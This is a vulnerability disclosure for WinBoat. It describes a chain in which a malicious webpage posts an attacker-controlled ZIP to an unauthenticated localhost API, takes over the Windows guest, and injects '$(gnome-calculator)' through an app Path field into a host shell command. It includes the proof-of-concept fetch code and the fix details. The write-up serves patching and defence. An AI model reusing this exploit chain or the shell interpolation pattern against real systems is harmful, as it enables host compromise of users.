WinBoat: Drive by Client RCE + Sandbox escape.
What Is WinBoat? #
WinBoat is a desktop application that lets you run Windows apps side-by-side with Linux apps — without spinning up a full virtual machine UI.
Under the hood, it:
- Runs a Windows environment inside a container
- Exposes a local HTTP API used by the host UI
- Uses RDP to launch Windows applications seamlessly
- Dynamically renders a list of “apps” provided by the guest
From a user’s perspective, it feels a bit like WSLg or Parallels Coherence mode: click an app, get a window, forget there’s a whole OS boundary involved.
From a security perspective… that boundary is exactly where things get interesting.
Overview #
WinBoat exposes a Windows “guest service” HTTP API on the host at http://localhost:7148/. The service accepts unauthenticated and has no csrf protections. It is configured with permissive CORS (not nessesory for the exploit but makes for a nice POC). That means a remote website can issue requests directly to a privileged local service running on your machine.
One of those endpoints is /update.
By POSTing attacker-controlled content to /update, an attacker can replace a guest component (such as guest_server) and compromise the Windows container. Once compromised, the guest can return malicious “app entries” to the host.
The problem: the host renderer blindly trusts those entries.
Specifically, it takes the guest-supplied Path field, interpolates it into a shell command, and executes it on the Linux host the next time the user clicks the app.
At that point, the exploit has crossed every boundary:
Video link: YouTube PoC
Attack Flow #
- A malicious webpage sends a cross-origin request to http://localhost:7148/update
- The unauthenticated update endpoint accepts attacker-controlled content
- The Windows guest container is compromised
- The guest returns a malicious app entry with a crafted Path
- The host renderer builds a shell command using that Path
- The user clicks the app
- Linux host code execution
Guest → Host Trust Boundary Break #
The malicious app entry returned by the compromised guest looks like this:
[
{
"Name": "Hax",
"Path": "$(gnome-calculator)"
}
]
This Path is later interpolated directly into a shell command on the host.
Here’s the vulnerable code path in WinBoat:
- WinBoat source:
src/renderer/lib/winboat.ts(#L707)https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
let cmd = `${freeRDPBin} /u:"${username}"\
/p:"${password}"\
/v:127.0.0.1\
/port:${rdpHostPort}\
...
/app:program:"${app.Path}",name:"${cleanAppName}",cmd:"${app.Args}" &`;
await execAsync(cmd);
Because app.Path is not sanitized and is embedded in a shell string, the subshell:
$(gnome-calculator)
is executed immediately.
This code runs on the Linux host, not inside the container — giving full host-level RCE.
Proof of Concept Notes #
My PoC at http://winboat.hack.do/ “vibes” the chain together by abusing /update to replace the apps.ps2 script so the guest returns a single new app entry (“Hax”). Once WinBoat displays it, clicking the app triggers host command execution.
Relevant PoC Chunks (browser → localhost:7148) #
The full PoC has a UI, logging, and metrics polling, but the exploit boils down to:
- Fetching an attacker-controlled ZIP
- Uploading it cross-origin to the unauthenticated local
/updateendpoint - Polling until the service restarts and the malicious
"Hax"app appears in/apps
// 1) Download attacker-controlled ZIP (contains replacement apps.ps2 / guest_server bits)
const response = await fetch(sourceUrl);
...
const zipBlob = await response.blob();
// 2) Upload ZIP to unauthenticated local update endpoint
const zipFile = new File([zipBlob], "upload.zip", { type: "application/zip" });
const form = new FormData();
form.append("updateFile", zipFile);
const uploadResponse = await fetch(destUrl, {
method: "POST",
body: form,
mode: "cors",
});
...
waitForServerRestart()
}
Impact #
- Remote → local bridge: any website can target the user’s local WinBoat service on
localhostwhen CORS is permissive. - Container compromise → host compromise: a compromised guest can feed attacker-controlled data into privileged host-side command execution.
- User interaction: host code execution triggers on the next click of the malicious app entry.
Affected Versions #
- Affected: WinBoat <= v0.8.7
- Fixed: WinBoat v0.9.0
Fixed in v0.9.0 #
This was resolved in WinBoat v0.9.0 by requiring authentication for the local API via a randomly generated password, preventing arbitrary webpages from issuing unauthenticated update requests.
- Fix:
https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36 - Related change (migration from
execSyncto async execution):
Commit3ca4186— “Migrate from execSync to execAsync”
Recommendations #
- Treat guest-provided fields like
Pathas untrusted input; avoid shell interpolation entirely (prefer direct exec with args, strict allowlists, or structured IPC). - Keep local privileged services authenticated and avoid permissive CORS on sensitive endpoints (especially update/install surfaces).
References #
- WinBoat project site
- PoC video: YouTube
- Vulnerable interpolation:
https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707 - Fix commit:
https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36 - Related commit: 3ca4186